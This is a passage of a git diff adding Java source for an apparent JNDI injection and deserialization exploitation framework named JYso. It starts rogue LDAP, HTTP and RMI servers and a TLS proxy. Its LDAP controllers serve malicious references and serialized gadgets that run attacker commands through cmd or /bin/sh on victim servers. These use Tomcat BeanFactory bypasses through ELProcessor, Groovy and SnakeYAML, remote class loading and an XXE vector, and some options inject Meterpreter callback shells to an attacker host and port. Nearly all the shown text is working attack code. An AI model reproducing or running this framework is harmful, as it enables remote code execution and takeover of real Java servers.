StringBuilder(); + + for (URL u : us) { + cb.append(u.toString()); + } + writeObject(cb.toString()); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java new file mode 100644 index 0000000..d0dc89a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -0,0 +1,42 @@ +package com.qi4l.JYso; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.ObjectPayload; +import org.apache.commons.collections4.map.CaseInsensitiveMap; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import static com.qi4l.JYso.gadgets.Config.Config.logo; + +public class Starter { + + // 用于存储所有的ObjectPayload类 + public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); + static { + for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) { + caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); + } + } + + public static boolean JYsoMode = false; + + public static void main(String[] args) throws Exception { + logo(); + + // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 + if (args.length > 0 && args[0].equals("-j")) { + Config.applyCmdArgs(args); + if (Config.TLSProxy) { + TLSProxy.start(); + } + LdapServer.start(); + HTTPServer.start(); + RMIServer.start(); + } + + // 如果参数中包含-y,则启动ysoserial + if (args.length > 0 && args[0].equals("-y")) { + JYsoMode = true; + ysoserial(args); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java new file mode 100644 index 0000000..452872d --- /dev/null +++ b/src/main/java/com/qi4l/JYso/TLSProxy.java @@ -0,0 +1,120 @@ +package com.qi4l.JYso; + +import com.qi4l.JYso.gadgets.Config.Config; + +import javax.net.ssl.*; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.security.KeyStore; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +import static org.fusesource.jansi.Ansi.ansi; + +public class TLSProxy { + private final String localAddr; + private final String remoteAddr; + private final String certFile; + private final String keyFile; + + public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) { + this.localAddr = localAddr; + this.remoteAddr = remoteAddr; + this.certFile = certFile; + this.keyFile = keyFile; + } + + public static void start() { + System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "...")); + new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run(); + } + + public void run() { + SSLServerSocketFactory sslServerSocketFactory = createSSLServerSocketFactory(); + if (sslServerSocketFactory == null) { + System.err.println("Failed to create SSLServerSocketFactory"); + return; + } + + try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) { + String[] addressParts = localAddr.split(":"); + serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1]))); + System.out.println("TLS Proxy started on " + localAddr); + + ExecutorService executorService = Executors.newCachedThreadPool(); + + while (true) { + SSLSocket clientSocket = (SSLSocket) serverSocket.accept(); + System.out.println("New connection from " + clientSocket.getRemoteSocketAddress()); + executorService.submit(() -> handleConnection(clientSocket)); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + + private SSLServerSocketFactory createSSLServerSocketFactory() { + try { + SSLContext sslContext = SSLContext.getInstance("TLS"); + KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + KeyStore keyStore = KeyStore.getInstance("JKS"); + + try (InputStream keyInput = new FileInputStream(certFile)) { + keyStore.load(keyInput, "".toCharArray()); + } + + keyManagerFactory.init(keyStore, "".toCharArray()); + + sslContext.init(keyManagerFactory.getKeyManagers(), null, null); + return sslContext.getServerSocketFactory(); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + private void handleConnection(SSLSocket clientSocket) { + try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) { + System.out.println("Connected to " + remoteAddr); + ExecutorService executorService = Executors.newCachedThreadPool(); + + executorService.submit(() -> { + try { + forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream()); + } catch (IOException e) { + throw new RuntimeException(e); + } + }); + executorService.submit(() -> { + try { + forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream()); + } catch (IOException e) { + throw new RuntimeException(e); + } + }); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private void forwardData(InputStream input, OutputStream output) { + try { + byte[] buffer = new byte[8192]; + int bytesRead; + while ((bytesRead = input.read(buffer)) != -1) { + output.write(buffer, 0, bytesRead); + output.flush(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + + private int getPort(String address) { + return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1)); + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java new file mode 100644 index 0000000..accd7c6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -0,0 +1,133 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.template.CommandTemplate; +import com.qi4l.JYso.template.echoStatic.Meterpreter; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; + +import java.net.URL; +import java.util.Base64; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/basic"}) +public class BasicController implements LdapController { + + private static String payloadType; + //最后的反斜杠不能少 + private final String codebase = Config.codeBase; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry e = new Entry(base); + String className = ""; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + className = EchoClass.getName(); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + className = Gadgets.createClassB(ClassName1); + } + + if (payloadType.contains("command")) { + CommandTemplate commandTemplate = new CommandTemplate(params[0]); + commandTemplate.cache(); + className = commandTemplate.getClassName(); + } + + if (payloadType.contains("msf")) { + className = Meterpreter.class.getName(); + } + + String className1 = className.replaceAll("\\.", "/"); + + URL turl = new URL(new URL(this.codebase), className1 + ".class"); + System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset()); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaCodeBase", this.codebase); + e.addAttribute("objectClass", "javaNamingReference"); + e.addAttribute("javaFactory", className); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI Remote Refenrence Links "); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java new file mode 100644 index 0000000..671106e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -0,0 +1,166 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; +import java.io.IOException; +import java.lang.reflect.Field; + +import static org.fusesource.jansi.Ansi.ansi; + + +@LdapMapping(uri = {"/ELProcessor"}) +public class ELProcessorController implements LdapController { + private String payloadType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + String jscode = null; + + try { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + TomcatBypassHelper helper = new TomcatBypassHelper(); + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + jscode = InjShell.injectClass(EchoClass); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + jscode = Gadgets.createClassT(ClassName1); + } + + if (payloadType.contains("command")) { + jscode = helper.getExecCode(params[0]); + } + + if (payloadType.contains("meterpreter")) { + jscode = helper.injectMeterpreter(); + } + + + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"{replacement}\")" + + "}"; + String finalPayload = payloadTemplate.replace("{replacement}", jscode); + ref.add(new StringRefAddr("x", finalPayload)); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } + + private class TomcatBypassHelper { + + public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + Class ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); + Field WinClassName = ctClazz.getDeclaredField("host"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, params[0]); + Field WinclassBody = ctClazz.getDeclaredField("port"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, params[1]); + return InjShell.injectClass(ctClazz); + } + + public String getExecCode(String cmd) throws IOException { + + String code = "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + + return code; + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java new file mode 100644 index 0000000..4b0a9df --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java @@ -0,0 +1,82 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.PayloadType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - Tomcat and Groovy in classpath + * + * @author https://twitter.com/orange_8361 and https://github.com/welk1n + * + * Groovy 语法参考: + * - https://xz.aliyun.com/t/8231#toc-7 + * - https://my.oschina.net/jjyuangu/blog/1815945 + * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails + */ + +@LdapMapping(uri = {"/groovy"}) +public class GroovyController implements LdapController { + private PayloadType type; + private String[] params; + private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + + " ['cmd','/C', '${cmd}'].execute();\n" + + " } else {\n" + + " ['/bin/sh','-c', '${cmd}'].execute();\n" + + " }"; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=evaluate")); + ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); + + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI LDAP Local Refenrence Links + Groovy"); + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + if (payloadType.equalsIgnoreCase("command")) { + type = PayloadType.valueOf("command"); + //System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); + } else { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); + } + + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/LdapController.java b/src/main/java/com/qi4l/JYso/controllers/LdapController.java new file mode 100644 index 0000000..cfbed3c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/LdapController.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; + +public interface LdapController { + void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; + + void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; +} diff --git a/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java b/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java new file mode 100644 index 0000000..69fb14c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java @@ -0,0 +1,12 @@ +package com.qi4l.JYso.controllers; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface LdapMapping { + String[] uri(); +} diff --git a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java new file mode 100644 index 0000000..7e7c194 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java @@ -0,0 +1,74 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/memoryxxe"}) +public class MemoryXXEController implements LdapController{ + private String payloadType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", + true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); + ref.add(new StringRefAddr("pathname", params[0])); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); + params = new String[]{cmd}; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java new file mode 100644 index 0000000..af31f42 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java @@ -0,0 +1,19 @@ +package com.qi4l.JYso.controllers; + +import javax.naming.RefAddr; +import java.util.Properties; + +//this is a stub class required by WebSphere2 ldap handler +public class PropertiesRefAddr extends RefAddr { + private static final long serialVersionUID = 288055886942232156L; + private Properties props; + + public PropertiesRefAddr(String addrType, Properties props) { + super(addrType); + this.props = props; + } + + public Object getContent() { + return this.props; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java new file mode 100644 index 0000000..6e4e833 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -0,0 +1,118 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.enumtypes.PayloadType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.utils.Serializer; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.commons.cli.CommandLine; +import org.fusesource.jansi.Ansi; + +import java.io.ByteArrayOutputStream; +import java.util.Base64; + +import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/deserialization"}) +public class SerializedDataController implements LdapController { + public static String gadgetType; + public static String cmd11; + public static GadgetType gadgetType1; + public static CommandLine cmdLine; + private PayloadType payloadType; + private String params; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + + byte[] bytes; + + try { + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(params); + + if (SerializedDataController.gadgetType.equals("JRE8u20")) { + bytes = (byte[]) object; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + bytes = Serializer.serialize(object, out); + } + + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaSerializedData", bytes); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { + System.out.println("- JNDI Deserialization Links "); + try { + base = base.replace('\\', '/'); + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + try { + gadgetType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex)); + } + int thirdIndex = base.indexOf("/", secondIndex + 1); + int fourIndex = base.indexOf("/", thirdIndex + 1); + String Ty1 = base.substring(thirdIndex + 1, fourIndex); + gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); + // 若第三个斜杠不存在,则把其设置成为字符串的长度 + if (thirdIndex < 0) thirdIndex = base.length(); + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + String Ty3 = base.substring(secondIndex + 1, thirdIndex); + payloadType = PayloadType.valueOf(Ty3.toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + if (payloadType == PayloadType.sethttp) { + params = BCEL1; + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset()); + } + + if (payloadType == PayloadType.command) { + + if (gadgetType1 == GadgetType.base64) { + cmd11 = Util.getCmdFromBase(base); + } + + if (gadgetType1 == GadgetType.base64Two) { + String encodedString = Util.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(encodedString); + String T1 = new String(decodedBytes); + byte[] decodedBytes1 = Base64.getDecoder().decode(T1); + cmd11 = new String(decodedBytes1); + } + + params = cmd11; + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset()); + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java new file mode 100644 index 0000000..798aecd --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java @@ -0,0 +1,80 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/snakeyaml"}) +public class SnakeYamlController implements LdapController { + private String payloadType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + String yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + params[0] + "\"]\n" + + " ]]\n" + + "]"; + ref.add(new StringRefAddr("forceString", "a=load")); + ref.add(new StringRefAddr("a", yaml)); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, 